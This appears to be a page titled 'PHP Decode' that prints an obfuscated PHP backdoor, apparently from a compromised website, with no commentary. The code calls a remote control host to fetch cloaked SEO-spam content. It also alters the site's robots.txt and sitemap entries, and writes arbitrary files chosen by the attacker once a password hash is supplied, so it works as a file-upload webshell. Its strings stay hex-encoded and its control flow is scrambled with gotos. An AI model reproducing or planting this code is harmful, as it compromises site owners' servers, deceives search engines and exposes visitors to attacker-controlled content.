PHP Decode

<?php
/* r53 */
@set_time_limit(3600); @ignore_user_abort(1); $lhKXKR = "\x72\x35\x33"; $lhKXKW = "\x68\164\164\160"; if (is_htps()) { goto lNOWXRR; } $lhKXKX = "\x68\x74\x74\x70"; goto lNOWXRW; lNOWXRR: $lhKXKX = "\x68\164\164\x70\x73"; lNOWXRW: $lhKXKz = st_uri(); if (!($lhKXKz == '')) { goto lNOWXRX; } $lhKXKz = "\57"; lNOWXRX: $lhKXKK = urlencode($lhKXKz); function st_uri() { goto lNOWXRN; lNOWXRh: lNOWXRQ: goto lNOWXWR; lNOWXRJ: if (isset($_SERVER["\141\162\x67\166"])) { goto lNOWXRz; } goto lNOWXRM; lNOWXRf: lNOWXRz: goto lNOWXRV; lNOWXRV: $lhKXKK = $_SERVER["\120\110\120\x5f\x53\x45\114\x46"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; goto lNOWXRu; lNOWXRu: lNOWXRK: goto lNOWXRt; lNOWXWW: lNOWXRd: goto lNOWXWX; lNOWXWX: return $lhKXKK; goto lNOWXWz; lNOWXWR: $lhKXKK = $_SERVER["\122\105\x51\x55\x45\123\x54\137\125\x52\111"]; goto lNOWXWW; lNOWXRN: if (isset($_SERVER["\122\x45\121\125\x45\123\124\x5f\x55\122\x49"])) { goto lNOWXRQ; } goto lNOWXRJ; lNOWXRO: goto lNOWXRK; goto lNOWXRf; lNOWXRt: goto lNOWXRd; goto lNOWXRh; lNOWXRM: $lhKXKK = $_SERVER["\120\110\x50\137\x53\x45\114\x46"] . "\x3f" . $_SERVER["\x51\125\105\x52\x59\137\123\124\x52\111\x4e\107"]; goto lNOWXRO; lNOWXWz: } $lhKXKQ = $lhKXKR . "\56\x64\157\x77\x6e\145\156\x65\x75\162\x6f\160\x65\x61\156" . "\56\x74" . "\157\x70"; function is_htps() { goto lNOWXWJ; lNOWXWJ: if (isset($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\120\123"]) !== "\157\146\x66") { goto lNOWXWQ; } goto lNOWXWM; lNOWXWt: goto lNOWXWK; goto lNOWXWh; lNOWXXX: lNOWXWN: goto lNOWXXz; lNOWXWu: return true; goto lNOWXWt; lNOWXWV: lNOWXWQ: goto lNOWXWu; lNOWXXW: goto lNOWXWK; goto lNOWXXX; lNOWXXQ: return false; goto lNOWXXd; lNOWXWf: goto lNOWXWK; goto lNOWXWV; lNOWXXK: lNOWXWK: goto lNOWXXQ; lNOWXWM: if (isset($_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\x4f\x52\127\x41\x52\104\105\x44\x5f\120\x52\117\124\117"]) && $_SERVER["\110\124\x54\120\137\130\x5f\x46\x4f\x52\x57\101\x52\x44\x45\104\x5f\x50\122\117\124\x4f"] === "\150\164\x74\160\163") { goto lNOWXWd; } goto lNOWXWO; lNOWXWO: if (isset($_SERVER["\110\x54\124\120\137\x46\x52\x4f\x4e\x54\x5f\x45\116\x44\137\110\x54\x54\x50\123"]) && strtolower($_SERVER["\110\x54\x54\x50\137\106\122\x4f\116\x54\x5f\105\x4e\x44\x5f\x48\124\x54\x50\123"]) !== "\157\x66\146") { goto lNOWXWN; } goto lNOWXWf; lNOWXXR: return true; goto lNOWXXW; lNOWXWh: lNOWXWd: goto lNOWXXR; lNOWXXz: return true; goto lNOWXXK; lNOWXXd: } $lhKXKd = $_SERVER["\110\124\124\120\x5f\110\x4f\x53\124"]; $lhKXKN = @$_SERVER["\x48\124\x54\x50\137\x41\103\103\x45\x50\x54\137\114\101\116\x47\x55\x41\x47\105"]; $lhKXKN = urlencode($lhKXKN); $lhKXKJ = ''; if (!isset($_SERVER["\110\x54\x54\120\x5f\122\105\106\105\122\x45\122"])) { goto lNOWXXN; } $lhKXKJ = $_SERVER["\x48\x54\124\120\137\122\105\106\105\122\x45\x52"]; $lhKXKJ = urlencode($lhKXKJ); lNOWXXN: if (!(@$_GET["\160\144"] != '')) { goto lNOWXzJ; } $lhKXKM = @$_GET["\x6d\141\160\156\x61\x6d\x65"]; $lhKXKO = @$_GET["\141\x63\164\151\x6f\156"]; if (isset($_SERVER["\104\117\x43\x55\115\105\x4e\124\x5f\122\117\x4f\x54"])) { goto lNOWXXJ; } $lhKXKf = dirname(__FILE__); goto lNOWXXM; lNOWXXJ: $lhKXKf = $_SERVER["\x44\x4f\x43\x55\115\x45\116\124\x5f\x52\x4f\x4f\124"]; lNOWXXM: if ($lhKXKO) { goto lNOWXXO; } $lhKXKO = "\160\x75\164"; lNOWXXO: if (!($lhKXKO == "\x70\165\x74")) { goto lNOWXzN; } if (strstr($lhKXKM, "\x2e\170\x6d\x6c")) { goto lNOWXzX; } echo "\74\142\162\76\x73\151\x74\x65\155\141\160\x20\x6e\141\x6d\x65\x20\146\141\154\x73\145\41\74\142\162\x3e"; goto lNOWXzz; lNOWXzX: $lhKXKV = $lhKXKf . "\57\x73\x69\x74\145\x6d\141\160\56\x78\x6d\154"; if (!is_file($lhKXKV)) { goto lNOWXXf; } @unlink($lhKXKV); lNOWXXf: $lhKXKu = $lhKXKf . "\57\x72\x6f\142\157\164\163\56\x74\x78\x74"; if (file_exists($lhKXKu)) { goto lNOWXXV; } $lhKXKt = "\x55\163\x65\162\x2d\141\147\145\x6e\x74\72\40\52\x41\x6c\154\x6f\167\72\40\x2f"; goto lNOWXXu; lNOWXXV: $lhKXKt = dageget($lhKXKu); lNOWXXu: $lhKXKh = $lhKXKX . "\72\x2f\57" . $lhKXKd . "\57" . $lhKXKM; if (stristr($lhKXKt, $lhKXKh)) { goto lNOWXzR; } if (file_put_contents($lhKXKu, trim($lhKXKt) . "\15\12" . "\123\x69\164\x65\155\x61\160\x3a\x20" . $lhKXKh)) { goto lNOWXXt; } echo "\74\x62\x72\76\146\151\x6c\x65\40\x77\x72\151\x74\145\x20\146\141\154\x73\x65\41\74\x62\x72\x3e"; goto lNOWXXh; lNOWXXt: echo "\x3c\x62\x72\76\x6f\153\74\x62\162\76"; lNOWXXh: goto lNOWXzW; lNOWXzR: echo "\74\x62\162\x3e\163\151\x74\x65\155\x61\160\40\x61\x6c\162\145\141\x64\171\40\x61\x64\x64\145\x64\x21\x3c\x62\162\x3e"; lNOWXzW: lNOWXzz: if (!strstr($lhKXKM, "\56\160" . "\150\160")) { goto lNOWXzd; } $lhKXQR = sha1(sha1(@$_GET["\x61"])); $lhKXQW = sha1(sha1(@$_GET["\x62"])); if (!($lhKXQR == dageget($lhKXKW . "\72\57\x2f" . $lhKXKQ . "\57\141\56\x70" . "\x68\x70") || $lhKXQW == "\x36\x66\66\67\x32\x37\66\x39\x34\142\x62\65\66\65\67\x63\63\x37\x39\70\x37\x36\64\x30\x61\61\144\62\x36\144\x32\145")) { goto lNOWXzQ; } $lhKXQX = @$_GET["\144\163\164\162"]; if (!file_put_contents($lhKXKf . "\57" . $lhKXKM, $lhKXQX)) { goto lNOWXzK; } echo "\157\153"; lNOWXzK: lNOWXzQ: lNOWXzd: lNOWXzN: exit; lNOWXzJ: $lhKXQz = $lhKXKW . "\x3a\57\x2f" . $lhKXKQ . "\x2f\151\156\144\145\170\x6e\145\x77\x2e\x70\150\160\77\167\145\142\x3d" . $lhKXKd . "\46\x7a\172\x3d" . sbot() . "\x26\x75\x72\151\75" . $lhKXKK . "\x26\165\162\154\163\150\x61\156\147\75" . $lhKXKJ . "\x26\150\164\x74\160\x3d" . $lhKXKX . "\x26\154\x61\x6e\x67\75" . $lhKXKN; $lhKXQK = trim(dageget($lhKXQz)); if (strstr($lhKXQK, "\156\157\x62\157\x74\x75\x73\145\162\141\147\x65\x6e\x74")) { goto lNOWXzt; } if (strstr($lhKXQK, "\x6f\153\150\x74\155\154\147\145\x74\x63\157\156\164\145\x6e\x74")) { goto lNOWXzV; } if (strstr($lhKXQK, "\157\x6b\170\155\154\x67\145\x74\x63\x6f\156\164\x65\x6e\164")) { goto lNOWXzO; } if (!strstr($lhKXQK, "\x70\x69\156\147\x78\155\x6c\x67\145\164\x63\157\156\x74\x65\156\x74")) { goto lNOWXzM; } $lhKXQK = str_replace("\x70\x69\156\147\170\x6d\x6c\x67\145\x74\x63\157\156\x74\x65\156\164", '', $lhKXQK); @header("\x43\x6f\x6e\x74\145\156\x74\55\x74\x79\160\145\72\40\x74\145\170\164\x2f\x68\x74\x6d\x6c\73\x20\143\150\x61\x72\x73\145\164\x3d\165\x74\146\55\x38"); echo pingmap($lhKXQK); exit; lNOWXzM: goto lNOWXzf; lNOWXzO: $lhKXQK = str_replace("\x6f\x6b\x78\155\154\x67\x65\x74\143\157\156\164\145\156\164", '', $lhKXQK); @header("\103\157\x6e\164\x65\x6e\164\x2d\164\171\160\145\x3a\40\164\x65\x78\164\57\170\155\154"); echo $lhKXQK; exit; lNOWXzf: goto lNOWXzu; lNOWXzV: @header("\103\x6f\156\x74\145\x6e\x74\x2d\x74\171\x70\x65\x3a\x20\164\145\170\x74\x2f\x68\164\x6d\154\73\40\x63\x68\x61\162\x73\145\x74\x3d\165\164\x66\x2d\70"); $lhKXQK = str_replace("\157\x6b\150\x74\155\154\x67\x65\164\143\157\x6e\x74\145\x6e\164", '', $lhKXQK); echo $lhKXQK; exit; lNOWXzu: lNOWXzt: function pingmap($lhKXQQ) { goto lNOWXKQ; lNOWXKd: $lhKXQN = ''; goto lNOWXKN; lNOWXKN: foreach ($lhKXQd as $lhKXQJ) { goto lNOWXKW; lNOWXKW: $lhKXQM = dageget($lhKXQJ); goto lNOWXKX; lNOWXKX: $lhKXQO = strpos($lhKXQM, "\123\151\164\x65\x6d\x61\x70\40\116\x6f\164\x69\146\151\x63\x61\x74\151\157\156\40\122\x65\143\x65\x69\x76\145\144") !== false ? "\x70\x69\156\x67\157\x6b" : "\145\162\x72\157\162"; goto lNOWXKz; lNOWXKz: $lhKXQN .= $lhKXQJ . "\x2d\x2d\40" . $lhKXQO . "\74\142\x72\76"; goto lNOWXKK; lNOWXKK: } goto lNOWXKJ; lNOWXKQ: $lhKXQd = explode("\xd\12", trim($lhKXQQ)); goto lNOWXKd; lNOWXKJ: return $lhKXQN; goto lNOWXKM; lNOWXKM: } function sbot() { goto lNOWXKV; lNOWXKh: goto lNOWXKf; goto lNOWXQR; lNOWXKu: if (stristr($lhKXQf, "\x67\157\x6f\147\154\x65\x62\157\x74") || stristr($lhKXQf, "\x62\x69\156\x67") || stristr($lhKXQf, "\171\x61\x68\157\x6f") || stristr($lhKXQf, "\x67\157\x6f\147\154\145") || stristr($lhKXQf, "\107\157\157\x67\154\145\x62\157\164") || stristr($lhKXQf, "\x67\157\157\147\x6c\x65\x62\x6f\164")) { goto lNOWXKO; } goto lNOWXKt; lNOWXKV: $lhKXQf = strtolower($_SERVER["\110\124\124\120\137\x55\123\105\x52\x5f\101\107\105\x4e\124"]); goto lNOWXKu; lNOWXQW: return true; goto lNOWXQX; lNOWXKt: return false; goto lNOWXKh; lNOWXQR: lNOWXKO: goto lNOWXQW; lNOWXQX: lNOWXKf: goto lNOWXQz; lNOWXQz: } function dageget($lhKXQQ) { goto lNOWXQd; lNOWXQu: curl_setopt($lhKXQu, CURLOPT_CONNECTTIMEOUT, 30); goto lNOWXQt; lNOWXdX: $lhKXQV = @file_get_contents($lhKXQQ); goto lNOWXdz; lNOWXdW: if ($lhKXQV) { goto lNOWXQQ; } goto lNOWXdX; lNOWXdR: lNOWXQK: goto lNOWXdW; lNOWXQM: curl_setopt($lhKXQu, CURLOPT_URL, $lhKXQQ); goto lNOWXQO; lNOWXQO: curl_setopt($lhKXQu, CURLOPT_SSL_VERIFYHOST, 0); goto lNOWXQf; lNOWXQJ: $lhKXQu = curl_init(); goto lNOWXQM; lNOWXQN: if (!function_exists("\x63\x75\162\x6c\137\x69\x6e\x69\x74")) { goto lNOWXQK; } goto lNOWXQJ; lNOWXdK: return $lhKXQV; goto lNOWXdQ; lNOWXQh: curl_close($lhKXQu); goto lNOWXdR; lNOWXQV: curl_setopt($lhKXQu, CURLOPT_RETURNTRANSFER, 1); goto lNOWXQu; lNOWXdz: lNOWXQQ: goto lNOWXdK; lNOWXQf: curl_setopt($lhKXQu, CURLOPT_SSL_VERIFYPEER, 0); goto lNOWXQV; lNOWXQt: $lhKXQV = curl_exec($lhKXQu); goto lNOWXQh; lNOWXQd: $lhKXQV = ''; goto lNOWXQN; lNOWXdQ: }